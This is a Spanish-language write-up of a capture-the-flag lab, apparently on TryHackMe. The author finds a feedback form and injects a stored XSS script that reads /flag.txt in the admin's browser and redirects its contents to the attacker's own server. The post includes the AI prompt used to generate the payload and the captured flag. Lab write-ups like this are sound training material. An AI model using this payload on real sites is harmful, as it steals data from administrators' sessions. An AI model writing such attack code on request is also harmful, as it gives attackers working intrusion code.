En lo que iba a parecer una maquina sencillita se complica un poco a la larga pero acaba saliendo.
En el objetivo que recibimos nos dan una ip y un puerto que funciona como dominio que da acceso a una flag.txt que opera del lado del servidor.
Accedemos a la ip descargando el archivo vpn de la web y arrancando el tunel.
OBJETIVO: http://10.130.136.96:8080/flag.txt
HOST (tun0): 192.168.1.123
En la web lo único que encuentro son dos apartado,
"Home" y "Feedback", tras el reconocimiento una de ellas será la base de la resolución.
Tiramos de NMAP a puertos y solo encuentro el 22 y el 8080 con proxy.Hago otro nmap a servicios pero tampoco encuentro nada interesante.
Tras mirar robots.txt y sitemap.xml no conseguimos nada.
Siguiente objetivo ir al apartado Feedback de la web que es lo único que parece que se le puede inyectar algún script.
Me toca tirar de IA porque los scripts de injeccion XSS que utilizo no tienen ningún exito.
Uso el siguiente prompt para que me genere un script de inyección HTML.
¿Cómo puedo leer el archivo /flag.txt mediante una inyección HTML, de modo que la entrada del administrador se procese y ejecute en el lado del administrador, utilizando GET en lugar de POST y añadiendo los datos de la respuesta a la propia URL? El sitio web es http://10.130.136.96:8080/flag.txt y mi servidor tiene la dirección IP 192.168.129.123?
La idea es que ese script inyecte del lado del administrador por que tiene el proxy.
Ahora la idea es ejecutar en mi terminal del host un servidor python, antes del payload, para poder recibir la respuesta del script cuando capture la flag.txt

Ejecuto por el puerto 8085 al ser el puerto que usaré para la redirección de la flag.txt
Pego el script en el cuadro de dialogo de Feedback.
<script>
fetch('/flag.txt')
.then(r => r.text())
.then(t => {
window.location.href = 'http://192.168.129.123:8085/?' + encodeURIComponent(t);
});
</script>
Una vez que lanzo el script en el Feedback, recibiré en mi servidor la respuesta automaticamente con un 200 ok.
Copio el codigo y lo descodifico en URL a traves de CyberChef.
https://toolbox.itsec.tamu.edu/#recipe=URL_Decode()&input=VEhNJTdCODM3ODlhNjkwNzRmNjM2ZjY0YTM4ODc5Y2ZjYWJlOGI2MjMwNWVlNiU3RA
Le paso el codigo y me da la flag sin codificar.
THM{83789a69074f636f64a38879cfcabe8b62305ee6}



Top comments (0)